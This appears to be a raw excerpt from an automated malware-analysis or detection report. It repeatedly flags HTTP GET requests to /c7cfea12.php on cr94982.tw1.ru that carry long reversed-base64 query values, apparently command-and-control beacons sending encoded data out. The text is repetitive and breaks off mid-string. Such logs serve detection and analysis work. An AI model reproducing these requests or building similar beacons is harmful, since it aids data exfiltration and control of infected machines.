/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "ruConnection" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW